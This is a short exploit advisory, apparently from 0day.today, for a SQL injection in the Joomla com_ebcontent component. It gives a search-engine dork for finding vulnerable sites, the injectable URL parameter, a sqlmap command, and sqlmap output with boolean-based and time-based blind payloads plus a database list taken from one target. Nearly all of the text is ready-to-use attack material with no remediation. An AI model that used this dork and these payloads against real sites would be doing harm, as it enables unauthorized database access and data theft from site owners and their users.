Joomla com_ebcontent SQL Injection Vulnerability

Joomla com_ebcontent SQL Injection Vulnerability
Test on: kali linux
Hompage: dont have
Version: all version
Dork:
inurl:option=com_ebcontent
Vuln:
http://site.com/index.php?option=com_ebcontent&view=article&tmpl=component&id=sql injection&cid=9&print=

POC:
sqlmap -u "http://xxx/mma/index.php?option=com_ebcontent&view=article&id=37*&cid=29&Itemid=129&lang=vn" --dbs
sqlmap identified the following injection point(s) with a total of 57 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://xxx:80/mma/index.php?option=com_ebcontent&view=article&id=37' AND 7599=7599 AND 'gefD'='gefD&cid=29&Itemid=129&lang=vn

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://xxx:80/mma/index.php?option=com_ebcontent&view=article&id=37' AND (SELECT * FROM (SELECT(SLEEP(5)))mbyz) AND 'dIwT'='dIwT&cid=29&Itemid=129&lang=vn
---
available databases [3]:
[*] ebrand_mma
[*] information_schema
[*] test

#  0day.today [2018-03-05]  #